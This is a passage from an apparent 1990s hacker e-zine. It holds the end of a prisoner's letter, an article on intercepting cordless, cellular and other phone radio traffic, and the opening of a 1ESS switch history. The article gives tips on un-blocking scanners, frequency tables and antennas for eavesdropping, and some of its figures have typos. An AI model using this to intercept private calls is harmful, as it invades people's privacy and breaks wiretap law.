in one day. Spent the night at the FCI in Phoenix then the next morning
|
|||
|
|
from there to Lompoc where I am now.
|
|||
|
|
|
|||
|
|
Remember these words though... You are now property of the B.O.P. Basically
|
|||
|
|
you are luggage, they can transport you at any time whenever they want to.
|
|||
|
|
But, depending on where you go, it isn't all that bad. Most likely you will
|
|||
|
|
meet friends or acquaintances that will help you along. Just ask a few
|
|||
|
|
questions and usually they will know. One thing to never do is be secretive
|
|||
|
|
about why you are there. You are there, most likely someone else is there
|
|||
|
|
for the same thing and you can get a strong fellowship going with people
|
|||
|
|
in the same predicament.
|
|||
|
|
|
|||
|
|
One thing to always keep in mind from now to eternity, no matter where you go.
|
|||
|
|
The feds are nailing everyone for 'Conspiracy'. It's a damn shame when
|
|||
|
|
you go to a place where 90 percent of the inmate population is here on some
|
|||
|
|
kind of drug related charge and of that 90%, 35% are here on conspiracy
|
|||
|
|
related charges. Truly something to think about.
|
|||
|
|
|
|||
|
|
Now for the hackers and phreakers that are facing jail. If your PSI report
|
|||
|
|
even breaths any mention of some kind of use with the computer, you will be
|
|||
|
|
banned from that. 3 days ago I was given a list of direct orders to avoid
|
|||
|
|
all contact of that. Likewise, they put a restriction on the levels of
|
|||
|
|
computer related material that I can read. Usually you can get any
|
|||
|
|
periodical you want except for things that deal with gay man on man stuff.
|
|||
|
|
Just like the gay people feel, that smells of discrimination but that's
|
|||
|
|
just the way it is.
|
|||
|
|
|
|||
|
|
Phones are something else that you will wish that changes real quick. The
|
|||
|
|
phones are run by a B.O.P. thing called ITS-Inmate Telephone Services.
|
|||
|
|
Basically it's a Unix run PBX that limits the people you can call and it
|
|||
|
|
throws the bill on you. No more collect calls or anything of that nature.
|
|||
|
|
Just doesn't happen. But the inmates have won a Class action suit against
|
|||
|
|
the B.O.P. about this and the government right now is appealing it.
|
|||
|
|
Technically with a suit or even an appeal, you have to implement it
|
|||
|
|
as soon as you can after the judgement is made. But it's been a year
|
|||
|
|
since they won it and nothing changes. Basically it's the government stalling.
|
|||
|
|
|
|||
|
|
Well that's all for me to say this time around. Remember to keep the dream
|
|||
|
|
alive and judge for yourself with that piece of gray matter between your
|
|||
|
|
ears.
|
|||
|
|
|
|||
|
|
You can write any comments to me at:
|
|||
|
|
Fanning
|
|||
|
|
Reg No. 12617-006
|
|||
|
|
3600 Guard Road
|
|||
|
|
Lompoc, CA 93436
|
|||
|
|
|
|||
|
|
or e-mail at ice@alaska.net or jfalcon@ice-bbs.alaska.net
|
|||
|
|
(I prefer the first method to save my friends postage costs.)
|
|||
|
|
|
|||
|
|
Keep it strong - TNO (The New Order)
|
|||
|
|
|
|||
|
|
John Falcon - Ex-TNo
|
|||
|
|
1981-1994
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--- Legal and Technical Aspects of RF Monitoring ---
|
|||
|
|
|
|||
|
|
--- Major [TNo] ---
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
SYNOPSIS
|
|||
|
|
--------
|
|||
|
|
The "Cordless Fun" (Noam Chomski, 2600 Magazine Summer 1994) article
|
|||
|
|
doubtlessly sparked an interest in cordless phone monitoring. Wireless
|
|||
|
|
telephones are a prime target for monitoring. Both cordless and cellular
|
|||
|
|
telephones are nothing more than radio transceivers that, at some point,
|
|||
|
|
interface with the telephone system. This article will seek to expand on
|
|||
|
|
and clarify some points made in "Cordless Fun", and also to point to some
|
|||
|
|
other areas of interest.
|
|||
|
|
|
|||
|
|
=============================================================================
|
|||
|
|
|
|||
|
|
|
|||
|
|
CORDLESS
|
|||
|
|
--------
|
|||
|
|
Legal Stuff:
|
|||
|
|
Monitoring cordless phones is now a federal crime! Recent legislation
|
|||
|
|
prohibits listening in on cordless phones, much the same as cellular phones.
|
|||
|
|
Also, the Communications Act of 1934 makes it a crime to divulge
|
|||
|
|
anything you monitor to another person. It is also illegal to use anything
|
|||
|
|
that you hear for personal gain. Note that this applies to anything that you
|
|||
|
|
monitor, not just cordless phones. Alternatively, there are presently no
|
|||
|
|
restrictions on scanners that are capable of receiving cordless phone
|
|||
|
|
frequencies. However, I suspect that in the near future the feds will deny
|
|||
|
|
certification to such scanners, as they did with scanners that could receive
|
|||
|
|
cellular frequencies.
|
|||
|
|
|
|||
|
|
Technical Stuff:
|
|||
|
|
Cordless telephones transmit and receive with very low power. This is
|
|||
|
|
primarily to minimize interference with other nearby cordless telephones.
|
|||
|
|
This makes scanning for cordless telephones a short-range endeavor. Most
|
|||
|
|
cordless phones of recent manufacture operate in the 46-49MHz range.
|
|||
|
|
However, the FCC has recently opened up a part of the 900MHz spectrum for
|
|||
|
|
cordless telephone usage. The new 900MHz phones often offer greater range
|
|||
|
|
and increased clarity. There are also models sporting "spread-spectrum"
|
|||
|
|
technology, which makes monitoring with conventional scanning-receivers a
|
|||
|
|
virtual impossibility. Another security measure on some cordless phones
|
|||
|
|
involves encoding the DTMF tones sent from the handset to the base. This
|
|||
|
|
prevents the base from accepting tones from other, unauthorized, handsets.
|
|||
|
|
It does not hinder monitoring the calls, but the DTMF tones will not be
|
|||
|
|
recognizable. In the 46-49MHz phones, there are ten frequency pairs
|
|||
|
|
available. Many older phones only utilize one pair. Newer, more expensive,
|
|||
|
|
phones can utilize all ten pairs. Some automatically search for an open
|
|||
|
|
channel, while others can be manually manipulated to find a channel with less
|
|||
|
|
noise. Likewise, the new 900MHz phones will scan to find a clear channel.
|
|||
|
|
|
|||
|
|
|
|||
|
|
CELLULAR
|
|||
|
|
--------
|
|||
|
|
Legal Stuff:
|
|||
|
|
Intercepting cellular mobile telephone (CMT) traffic is illegal. The
|
|||
|
|
Electronic Communications Privacy Act of 1986 made it so. Scanners that
|
|||
|
|
receive the CMT portion of the 800MHz range may no longer be manufactured,
|
|||
|
|
sold, or imported into the U.S. Many scanners were designed to scan this
|
|||
|
|
area, though. When the Cellular Telephone Industry Association began
|
|||
|
|
complaining about this fact, most scanner manufacturers/resalers voluntarily
|
|||
|
|
"blocked" the cellular freqs from their scanners. This pacified the CTIA for
|
|||
|
|
a while, but the "blocks" were easily hackable. Typically, restoring a
|
|||
|
|
"blocked" scanner involved removing a single diode, a ten minute job for even
|
|||
|
|
the most devout technophobe. This fact led to the passage of the Telephone
|
|||
|
|
Disclosure and Dispute Resolution Act (TDDRA), which denies F.C.C.
|
|||
|
|
certification of scanners that receive cellular freqs, or those which may be
|
|||
|
|
easily modified to do so. New scanners will be "blocked" at the CPU, and
|
|||
|
|
hacking them is unlikely. Frequency converters offered another means of
|
|||
|
|
monitoring cellular and other 800MHz traffic. Essentially, a converter
|
|||
|
|
receives an 800MHz signal, and converts it to a 400MHz signal that the scanner
|
|||
|
|
is capable of receiving. Converters are useful for scanners that have no
|
|||
|
|
800MHz reception capabilities, as well as those that have portions of the
|
|||
|
|
800MHz band blocked. Unfortunately, converters were also outlawed by the
|
|||
|
|
TDDRA. They are still legal in kit-form, however. Another option would be
|
|||
|
|
to build one from scratch, which isn't an especially difficult project.
|
|||
|
|
|
|||
|
|
Technical Stuff:
|
|||
|
|
The word "cellular" defines the cellular phone system. A service area is
|
|||
|
|
broken up into many small cells. As a user travels through an area, his call
|
|||
|
|
will be handed off from one cell to the next. This handoff is transparent to
|
|||
|
|
the user, but a monitor will lose the conversation. Cellular phones use low
|
|||
|
|
power (a maximum of five watts) so that a cell phone will not attempt to seize
|
|||
|
|
more than one site at a time. When a call is initiated by a cell phone, the
|
|||
|
|
nearest site will respond, and assign an available frequency to the phone.
|
|||
|
|
When the user moves comes into range of the next site, the process repeats
|
|||
|
|
itself, and the new site will assign a new frequency. Therefore, it can be
|
|||
|
|
difficult to track a particular conversation as it moves from site to site
|
|||
|
|
with a single scanner. Every area served by cellular phones will have two
|
|||
|
|
service providers. One will be the local RBOC, while the other will be a
|
|||
|
|
cellular-only provider. The two systems are designated as "A" and "B"
|
|||
|
|
systems, or "Wireline" and "Non-Wireline". There is no difference between
|
|||
|
|
the two for monitoring purposes, but since "A" and "B" carriers use different
|
|||
|
|
frequencies, it should be possible to identify local cell-towers as being "A"
|
|||
|
|
or "B" sites.
|
|||
|
|
|
|||
|
|
|
|||
|
|
PHONE PATCH
|
|||
|
|
-----------
|
|||
|
|
Legal Stuff:
|
|||
|
|
The Communications Act of 1934 applies here as well, but there are no other
|
|||
|
|
prohibitions on monitoring business-band phone patches.
|
|||
|
|
|
|||
|
|
Technical Stuff:
|
|||
|
|
Many business radio systems have the ability to tie into the phone
|
|||
|
|
system. Most of these systems will be found in 800MHz trunked
|
|||
|
|
radio systems. In a conventional radio system, one frequency will
|
|||
|
|
equal one channel. In a trunked system, however, frequencies and
|
|||
|
|
channels are independent of each other. The trunking computer will
|
|||
|
|
assign a different frequency to a radio each time it transmits,
|
|||
|
|
and it will send a signal to other radios on the same channel,
|
|||
|
|
telling them the current frequency in use. Phone patches are easy
|
|||
|
|
to monitor, though. Since the radio on a phone patch is
|
|||
|
|
transmitting constantly, the frequency used will remain the same
|
|||
|
|
for the duration of the conversation. Many people mistakenly
|
|||
|
|
believe these calls to be cellular, but they are not. Most phone
|
|||
|
|
patches found in 800MHz trunked systems will be full-duplex, just
|
|||
|
|
like cellular and home phones. Some systems, especially in UHF
|
|||
|
|
(around 450MHz) and 800MHz conventional radio systems will only be
|
|||
|
|
half-duplex, though. In those systems, only one person call talk
|
|||
|
|
at a time, just like normal two-way radios. Radio systems are
|
|||
|
|
typically designed to offer service to an entire metropolitan area,
|
|||
|
|
so range is quite good. The mobile radio will transmit its signal
|
|||
|
|
to a strategically located "repeater", which then re-broadcasts the
|
|||
|
|
signal with much more power. So long as a scanner is within
|
|||
|
|
reception range of the repeater output, monitoring will be possible
|
|||
|
|
regardless of the location of the party transmitting.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
EQUIPMENT
|
|||
|
|
----------
|
|||
|
|
Legal Stuff:
|
|||
|
|
Some states prohibit mobile use of scanners. Also, it is illegal
|
|||
|
|
to use a scanner in the commission of a crime.
|
|||
|
|
|
|||
|
|
Technical Stuff:
|
|||
|
|
There is a scanner for every appetite. What sort of monitoring
|
|||
|
|
one wants to do will dictate which scanner one buys. For someone
|
|||
|
|
interested only in cordless phones, a ten-channel scanner with no
|
|||
|
|
800MHz coverage will be quite adequate, and much cheaper than a
|
|||
|
|
more capable scanner. For someone interested in cellular, a full-
|
|||
|
|
coverage 800MHz scanner with a much greater frequency storage
|
|||
|
|
capacity will be necessary. Base, mobile or handheld? Depends
|
|||
|
|
entirely on how it will be used. Modern scanners are programmable,
|
|||
|
|
while older units require crystals. For someone wanting to monitor
|
|||
|
|
only a few channels (such as cordless phones, or the local police),
|
|||
|
|
a crystal-controlled scanner would be adequate, and much cheaper.
|
|||
|
|
But for more serious and varied scanning, programmable units are
|
|||
|
|
a necessity. Models are available that store between 10 and 1000
|
|||
|
|
channels. Uniden/Bearcat and Realistic are the two most commonly
|
|||
|
|
available brands in the U.S. (although Realistic isn't actually a
|
|||
|
|
brand, just a label...Radio Shack scanners are all manufactured by
|
|||
|
|
Uniden or GRE, depending on the model). Because of the TDDRA, many
|
|||
|
|
of the best scanners from the past several years are no longer
|
|||
|
|
available, but watch for Hamfests (great electronic flea-
|
|||
|
|
markets...inquire at your local ham radio/electronics store),
|
|||
|
|
garage sales, etc. There is nothing in the TDDRA or other current
|
|||
|
|
legislation that prevents private parties from owning or selling
|
|||
|
|
pre-TDDRA equipment. Aside from the scanner itself, the next-most
|
|||
|
|
important piece of equipment is the antenna. Handheld scanners
|
|||
|
|
will generally utilize an "all-band" rubber-duck antenna (a
|
|||
|
|
flexible, rubberized antenna, between 8-14" in length), while base
|
|||
|
|
units will have a telescoping metal whip antenna. These antennas
|
|||
|
|
are adequate for receiving strong, local signals, but more
|
|||
|
|
discriminating monitors will demand more. For base units, an all
|
|||
|
|
band discone type antenna, mounted outside as high as practical,
|
|||
|
|
will offer good, omnidirectional performance. For those who only
|
|||
|
|
want to monitor a particular band, it would be best to use an
|
|||
|
|
antenna cut specifically for that band. Likewise, for those
|
|||
|
|
monitoring signals coming from one general direction, a directional
|
|||
|
|
antenna will offer better performance than an omnidirectional unit.
|
|||
|
|
For mobile use, using an antenna mounted on the vehicle will
|
|||
|
|
greatly improve reception.
|
|||
|
|
|
|||
|
|
|
|||
|
|
MISCELLANEOUS COMMUNICATIONS
|
|||
|
|
----------------------------
|
|||
|
|
Voice-pagers can offer interesting monitoring. While the data-
|
|||
|
|
transmissions that send the signal to the proper pager are
|
|||
|
|
proprietary digital signals (and as such, illegal to monitor or
|
|||
|
|
decipher), the actual "voice messages" are transmitted "in the
|
|||
|
|
clear".
|
|||
|
|
Packet-radio is used by ham radio operators. They have a vast
|
|||
|
|
network of computer bbs's that operate independently of the phone
|
|||
|
|
system. Modulated data is sent over the airwaves with a ham
|
|||
|
|
transceiver, where it is received and de-modulated with a Terminal
|
|||
|
|
Node Controller (TNC). Expect the use of wireless data
|
|||
|
|
transmissions to increase over the next few years, and not just
|
|||
|
|
among ham operators.
|
|||
|
|
While not having anything to do with telephones, the "baby
|
|||
|
|
monitors" people use are transmitters just like cordless phones.
|
|||
|
|
They are also low-power devices, so range is limited. Most people
|
|||
|
|
who use these devices would be shocked to learn that they are
|
|||
|
|
"bugging" their own home.
|
|||
|
|
|
|||
|
|
PRESENT AND FUTURE CHALLENGES
|
|||
|
|
-----------------------------
|
|||
|
|
Spread spectrum, digital transmissions, encryption...these are all
|
|||
|
|
factors that are affecting monitoring today. While most cellular
|
|||
|
|
systems are presently analog systems, there are operational digital
|
|||
|
|
systems in some areas. Scanners that are currently available won't
|
|||
|
|
be able to decipher the digital communications, and it is unlikely
|
|||
|
|
that digital-capable scanners will be produced. That means it will
|
|||
|
|
be up to the hackers to provide the technology to intercept these
|
|||
|
|
communications. Spread spectrum is quite hackable, as it was never
|
|||
|
|
intended as an encryption system, per se, yet the phone
|
|||
|
|
manufacturers are certainly marketing it as such. And one oft
|
|||
|
|
overlooked advantage of the Clipper chip is the fact that the
|
|||
|
|
backdoor can be exploited by hackers as well as the government.
|
|||
|
|
In the meanwhile, there are plenty of intercepts to be had, and
|
|||
|
|
there will continue to be.
|
|||
|
|
|
|||
|
|
|
|||
|
|
=================================================================
|
|||
|
|
|
|||
|
|
For More Information:
|
|||
|
|
=================================================================
|
|||
|
|
|
|||
|
|
Scanner Modification Handbook (Vols. I & II), by Bill Cheek
|
|||
|
|
The scanner modification handbooks offer a plethora of information
|
|||
|
|
on hacking scanners. Hacks include: increased channel capacity
|
|||
|
|
(example: RS PRO-2006 from 400 channels to 6,400!), adding signal-
|
|||
|
|
strength meters, cellular-freq. restoration, scanning-speed
|
|||
|
|
increases, and much more.
|
|||
|
|
|
|||
|
|
World Scanner Report, by Bill Cheek
|
|||
|
|
A monthly newsletter on the latest scanner hacks.
|
|||
|
|
|
|||
|
|
Available from:
|
|||
|
|
COMMtronics Engineering
|
|||
|
|
Box 262478
|
|||
|
|
San Diego, CA 82196-2478
|
|||
|
|
BBS: (619) 578-9247 (5:30PM to 1:30PM P.S.T. ONLY!)
|
|||
|
|
|
|||
|
|
COMMtronics Engineering also offers a scanner-computer interface
|
|||
|
|
for RS PRO-43/2004/2005/2006 model scanners.
|
|||
|
|
===================================================================
|
|||
|
|
CRB Research Books
|
|||
|
|
Box 56
|
|||
|
|
Commack, MY 11725
|
|||
|
|
|
|||
|
|
CRB has books on scanner modifications, frequency guides, and other
|
|||
|
|
interesting subjects.
|
|||
|
|
=================================================================
|
|||
|
|
POPULAR COMMUNICATIONS
|
|||
|
|
|
|||
|
|
CQ Publications
|
|||
|
|
76 N. Broadway
|
|||
|
|
Hicksville, NY 11801
|
|||
|
|
(516) 681-2926
|
|||
|
|
|
|||
|
|
Pop Comm is a monthly magazine on all sorts of radio monitoring,
|
|||
|
|
including scanning, shortwave, and broadcast.
|
|||
|
|
==================================================================
|
|||
|
|
MONITORING TIMES
|
|||
|
|
|
|||
|
|
Grove Enterprises, Inc.
|
|||
|
|
P.O. Box 98,
|
|||
|
|
300 S. Highway 64 West
|
|||
|
|
Brasstown, North Carolina 28902-0098
|
|||
|
|
|
|||
|
|
M.T. is a monthly magazine covering all varieties of radio
|
|||
|
|
communications.
|
|||
|
|
|
|||
|
|
==================================================================
|
|||
|
|
NUTS & VOLTS
|
|||
|
|
Nuts & Volts is a monthly magazine that covers a wide variety of
|
|||
|
|
electronic-related subjects.
|
|||
|
|
|
|||
|
|
T&L Publications, Inc.
|
|||
|
|
430 Princeland Court
|
|||
|
|
Corona, CA 91719
|
|||
|
|
(909) 371-8497
|
|||
|
|
(909) 371-3052 fax
|
|||
|
|
CI$ 74262,3664
|
|||
|
|
1-800-783-4624 SUBSCRIPTION ORDERS ONLY
|
|||
|
|
===================================================================
|
|||
|
|
USENET:
|
|||
|
|
alt.radio.scanner
|
|||
|
|
rec.radio.scanner
|
|||
|
|
===================================================================
|
|||
|
|
|
|||
|
|
Charts & Tables:
|
|||
|
|
|
|||
|
|
1. Cordless Telephone Frequencies (VHF)
|
|||
|
|
2. Cordless Telephone Frequencies (900MHz)
|
|||
|
|
3. Cellular Telephone Frequencies
|
|||
|
|
4. Business Band Frequencies (VHF, UHF, 800MHz)
|
|||
|
|
5. IMTS Frequencies
|
|||
|
|
6. PAGER Frequencies
|
|||
|
|
7. PACKET Frequencies
|
|||
|
|
8. ROOM MONITOR Frequencies
|
|||
|
|
9. homebrew cordless dipole antenna
|
|||
|
|
10. homebrew 1/4 wave groundplane antenna
|
|||
|
|
|
|||
|
|
|
|||
|
|
=================================================================
|
|||
|
|
TABLE 1 - CORDLESS TELEPHONE FREQS. (CONVENTIONAL)
|
|||
|
|
|
|||
|
|
CH BASE HANDSET
|
|||
|
|
-- ---- -------
|
|||
|
|
1 46.100 49.670
|
|||
|
|
2 46.630 49.845
|
|||
|
|
3 46.670 49.860
|
|||
|
|
4 46.710 49.770
|
|||
|
|
5 46.730 49.875
|
|||
|
|
6 46.770 49.830
|
|||
|
|
7 46.830 49.890
|
|||
|
|
8 46.870 49.930
|
|||
|
|
9 46.930 49.990
|
|||
|
|
10 46.970 46.970
|
|||
|
|
=================================================================
|
|||
|
|
TABLE 2 - 900MHz CORDLESS FREQS.
|
|||
|
|
|
|||
|
|
Cordless phones have been allocated the frequencies
|
|||
|
|
between 902-228MHz, with channel spacing between
|
|||
|
|
30-100KHz.
|
|||
|
|
Following are some examples of the frequencies used by phones
|
|||
|
|
currently on the market.
|
|||
|
|
|
|||
|
|
----------------------------------------------------------------
|
|||
|
|
Panasonic KX-T9000 (60 Channels)
|
|||
|
|
base 902.100 - 903.870 Base frequencies (30Khz spacing)
|
|||
|
|
handset 926.100 - 927.870 Handset frequencies
|
|||
|
|
CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET
|
|||
|
|
-- ------- ------- -- ------- ------- -- ------- -------
|
|||
|
|
01 902.100 926.100 11 902.400 926.400 21 902.700 926.700
|
|||
|
|
02 902.130 926.130 12 902.430 926.430 22 902.730 926.730
|
|||
|
|
03 902.160 926.160 13 902.460 926.460 23 902.760 926.760
|
|||
|
|
04 902.190 926.190 14 902.490 926.490 24 902.790 926.790
|
|||
|
|
05 902.220 926.220 15 902.520 926.520 25 902.820 926.820
|
|||
|
|
06 902.250 926.250 16 902.550 926.550 26 902.850 926.850
|
|||
|
|
07 902.280 926.280 17 902.580 926.580 27 902.880 926.880
|
|||
|
|
08 902.310 926.310 18 902.610 926.610 28 902.910 926.910
|
|||
|
|
09 902.340 926.340 19 902.640 926.640 29 902.940 926.940
|
|||
|
|
10 902.370 926.370 20 902.670 926.670 30 902.970 926.970
|
|||
|
|
|
|||
|
|
31 903.000 927.000 41 903.300 927.300 51 903.600 927.600
|
|||
|
|
32 903.030 927.030 42 903.330 927.330 52 903.630 927.630
|
|||
|
|
33 903.060 927.060 43 903.360 927.360 53 903.660 927.660
|
|||
|
|
34 903.090 927.090 44 903.390 927.390 54 903.690 927.690
|
|||
|
|
35 903.120 927.120 45 903.420 927.420 55 903.720 927.720
|
|||
|
|
36 903.150 927.150 46 903.450 927.450 56 903.750 927.750
|
|||
|
|
37 903.180 927.180 47 903.480 927.480 57 903.780 927.780
|
|||
|
|
38 903.210 927.210 48 903.510 927.510 58 903.810 927.810
|
|||
|
|
39 903.240 927.240 49 903.540 927.540 59 903.840 927.840
|
|||
|
|
40 903.270 927.270 50 903.570 927.570 60 903.870 927.870
|
|||
|
|
|
|||
|
|
------------------------------------------------------------
|
|||
|
|
|
|||
|
|
V-TECH TROPEZ DX900 (20 CHANNELS)
|
|||
|
|
905.6 - 907.5 TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING)
|
|||
|
|
925.5 - 927.4 HANDSET FREQUENCIES
|
|||
|
|
|
|||
|
|
CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET
|
|||
|
|
-- ------- ------- -- ------- ------- -- ------- -------
|
|||
|
|
01 905.600 925.500 08 906.300 926.200 15 907.000 926.900
|
|||
|
|
02 905.700 925.600 09 906.400 926.300 16 907.100 927.000
|
|||
|
|
03 905.800 925.700 10 906.500 926.400 17 907.200 927.100
|
|||
|
|
04 905.900 925.800 11 906.600 926.500 18 907.300 927.200
|
|||
|
|
05 906.000 925.900 12 906.700 926.600 19 907.400 927.300
|
|||
|
|
06 906.100 926.000 13 906.800 926.700 20 907.500 927.400
|
|||
|
|
07 906.200 926.100 14 906.900 926.800
|
|||
|
|
|
|||
|
|
------------------------------------------------------------
|
|||
|
|
OTHER 900 MHZ CORDLESS PHONES
|
|||
|
|
AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ
|
|||
|
|
OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ
|
|||
|
|
SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ
|
|||
|
|
|
|||
|
|
------------------------------------------------------------
|
|||
|
|
==================================================================
|
|||
|
|
TABLE 3 - CELLULAR TELEPHONE FREQUENCIES
|
|||
|
|
wireline ("b" side carrier)
|
|||
|
|
824.1000-834.9000
|
|||
|
|
869.0100-879.9900
|
|||
|
|
|
|||
|
|
non-wireline ("a" side carrier)
|
|||
|
|
835.0200-849.0000
|
|||
|
|
880.0200-894.0000
|
|||
|
|
|
|||
|
|
|
|||
|
|
==================================================================
|
|||
|
|
TABLE 4 - BUSINESS BAND RADIO FREQS.
|
|||
|
|
|
|||
|
|
151.5050-151.9550MHz
|
|||
|
|
154.4900-154.5400
|
|||
|
|
460.6500-462.1750
|
|||
|
|
462.7500-465.0000
|
|||
|
|
471.8125-471.3375
|
|||
|
|
474.8125-475.3375
|
|||
|
|
896.0125-900.9875
|
|||
|
|
935.0125-939.9875
|
|||
|
|
806.0125-810.9875
|
|||
|
|
811.0125-815.9875
|
|||
|
|
816.0125-820.9875
|
|||
|
|
851.0125-855.9875
|
|||
|
|
856.0125-860.9875
|
|||
|
|
861.0125-865.9875
|
|||
|
|
=================================================================
|
|||
|
|
TABLE 5 - MOBILE TELEPHONE FREQS. (see note1 below)
|
|||
|
|
SIMPLEX OUTPUT INPUT OUTPUT INPUT
|
|||
|
|
-------- -------- -------- -------- --------
|
|||
|
|
035.2600 152.0300 158.4900 454.3750 459.3750
|
|||
|
|
035.3000 152.0600 158.5200 454.4000 459.4000
|
|||
|
|
035.3400 152.0900 158.5500 454.4250 459.4250
|
|||
|
|
035.3800 152.1200 158.5800 454.4500 459.4500
|
|||
|
|
035.5000 152.1500 158.6100 454.4750 459.4750
|
|||
|
|
035.5400 152.1800 158.6400 454.5000 459.5000
|
|||
|
|
035.6200 152.2100 158.6700 454.5250 459.5250
|
|||
|
|
035.6600* 454.0250 459.0250 454.5500 459.5500
|
|||
|
|
043.2200* 454.0500 459.0500 454.5750 459.5750
|
|||
|
|
043.2600 454.0750 459.0750 454.6000 459.6000
|
|||
|
|
043.3400 454.1000 459.1000 454.6250 459.6250
|
|||
|
|
043.3800 454.1250 459.1250 454.6500 459.6500
|
|||
|
|
043.4200 454.1500 459.1500
|
|||
|
|
043.3000 454.1750 459.1750
|
|||
|
|
043.5000 454.2000 459.2000
|
|||
|
|
043.5400 454.2250 459.2250
|
|||
|
|
043.5800* 454.2500 459.2500
|
|||
|
|
043.6400* 454.2750 459.2750
|
|||
|
|
152.2400* 454.3000 459.3000
|
|||
|
|
152.8400* 454.3250 459.3250
|
|||
|
|
158.1000* 454.3500 459.3500
|
|||
|
|
158.7000*
|
|||
|
|
|
|||
|
|
*-also allocated for pager usage
|
|||
|
|
|
|||
|
|
(note1: These freqs are, for the most part, dead. The FCC has
|
|||
|
|
reallocated most of these for other services.)
|
|||
|
|
|
|||
|
|
=================================================================
|
|||
|
|
TABLE 6 - PAGER FREQUENCIES
|
|||
|
|
035.2200 035.5800 152.4800 154.6250 158.4600
|
|||
|
|
157.7400 465.0000 462.8000 462.7750 462.9250
|
|||
|
|
462.7500 462.8750 462.8250 462.9000 462.8500
|
|||
|
|
928.0000 929.0000 930.0000 931.0000
|
|||
|
|
=================================================================
|
|||
|
|
TABLE 7 - PACKET FREQUENCIES
|
|||
|
|
050.6200
|
|||
|
|
223.5200-223.6400
|
|||
|
|
223.7100-223.8500
|
|||
|
|
2303.500-2303.800
|
|||
|
|
2303.900
|
|||
|
|
2399.000-2399.500
|
|||
|
|
=================================================================
|
|||
|
|
TABLE 8 - BABY MONITOR FREQUENCIES
|
|||
|
|
49.300
|
|||
|
|
49.830
|
|||
|
|
49.845
|
|||
|
|
49.890
|
|||
|
|
=================================================================
|
|||
|
|
TABLE 9 - AIR PHONE FREQUENCIES
|
|||
|
|
OUTPUT INPUT
|
|||
|
|
454.6750 459.6750
|
|||
|
|
454.9750 459.9750
|
|||
|
|
849.0000 851.0000
|
|||
|
|
894.0000 896.0000
|
|||
|
|
==================================================================
|
|||
|
|
|
|||
|
|
CHART 10 - IMPROVED ANTENNA FOR CORDLESS MONITORING
|
|||
|
|
|
|||
|
|
The best way to improve the range for monitoring cordless
|
|||
|
|
telephones is to use an antenna specifically cut for the
|
|||
|
|
frequencies used in cordless phones. The following is a very
|
|||
|
|
effective, yet easy to build, "homebrew" antenna.
|
|||
|
|
|
|||
|
|
CORDLESS DIPOLE
|
|||
|
|
---------------
|
|||
|
|
materials needed:
|
|||
|
|
wire - virtually any type will suffice
|
|||
|
|
matching transformer (RS part number 15-1296)
|
|||
|
|
f connector (RS part number 278-225)
|
|||
|
|
??? connector (this will connect the antenna to the scanner, so it
|
|||
|
|
will be dependant upon what type of antenna jack the scanner
|
|||
|
|
utilizes. Most use a BNC-type connector. Some older models
|
|||
|
|
will use a Motorola-type connector.)
|
|||
|
|
coax cable - while many types of coax can be used, a low-loss cable
|
|||
|
|
would be best, especially if a long cable run is required.
|
|||
|
|
RG-6 satellite coax (RS part number 278-1316) is a good choice.
|
|||
|
|
|
|||
|
|
|
|||
|
|
wire transformer wire
|
|||
|
|
-------------------------< >-------------------------
|
|||
|
|
+ f connector
|
|||
|
|
|
|
|||
|
|
| coax
|
|||
|
|
|
|
|||
|
|
|
|
|||
|
|
* connector
|
|||
|
|
[ ] scanner
|
|||
|
|
|
|||
|
|
=================================================================
|
|||
|
|
|
|||
|
|
CHART 11 - 1/4 WAVE GROUND PLANE ANTENNA
|
|||
|
|
|
|||
|
|
Here is a simple-to-build antenna that will improve reception for
|
|||
|
|
a particular frequency area.
|
|||
|
|
|
|||
|
|
materials needed:
|
|||
|
|
wire - a rigid wire is needed here. Clothes hangers work well.
|
|||
|
|
panel mount SO-239 connector (RS part number 278-201)
|
|||
|
|
male PL-259 connector (RS part number 278-205)
|
|||
|
|
coax cable
|
|||
|
|
connector (to scanner)
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|
|||
|
|
|
|
|||
|
|
|
|
|||
|
|
|
|
|||
|
|
[ ]
|
|||
|
|
/ \
|
|||
|
|
/ \
|
|||
|
|
/ \
|
|||
|
|
|
|||
|
|
|
|||
|
|
The length of the five rods will be dependant upon the frequency
|
|||
|
|
you intend to monitor. Use the following formula:
|
|||
|
|
|
|||
|
|
WL=3X10^8/F
|
|||
|
|
|
|||
|
|
WL = wavelegnth (in meters)
|
|||
|
|
F = frequency (in MHz)
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
-=-
|
|||
|
|
|
|||
|
|
-= The Tao of 1AESS =-
|
|||
|
|
-=-=-=-=-=-=-=-=
|
|||
|
|
-= DeadKat&Disorder =-
|
|||
|
|
|
|||
|
|
-=-
|
|||
|
|
|
|||
|
|
-= Special thanks to Gatsby and Mark Tabas =-
|
|||
|
|
|
|||
|
|
|
|||
|
|
Introduction
|
|||
|
|
-=-=-=-=-=-=
|
|||
|
|
The Bell System's first trial of electronic switching took place in Morris,
|
|||
|
|
Illinois, in 1960. The Morris trial culminated a 6-year development and
|
|||
|
|
proved the viability of the stored-program control concept. The first
|
|||
|
|
application of electronic local switching in the Bell System occurred in May
|
|||
|
|
1965 with the cutover of the first 1ESS switch in Succasunna, New Jersey.
|
|||
|
|
|
|||
|
|
The 1ESS switching system was designed for use in areas where large numbers
|
|||
|
|
of lines and lines with heavy traffic (primarily business customers) are
|
|||
|
|
served. The system has generally been used in areas serving between 10,000
|
|||
|
|
and 65,000 lines and has been the primary replacement system for urban
|
|||
|
|
step-by-step and panel systems. The ease and flexibility of adding new
|
|||
|
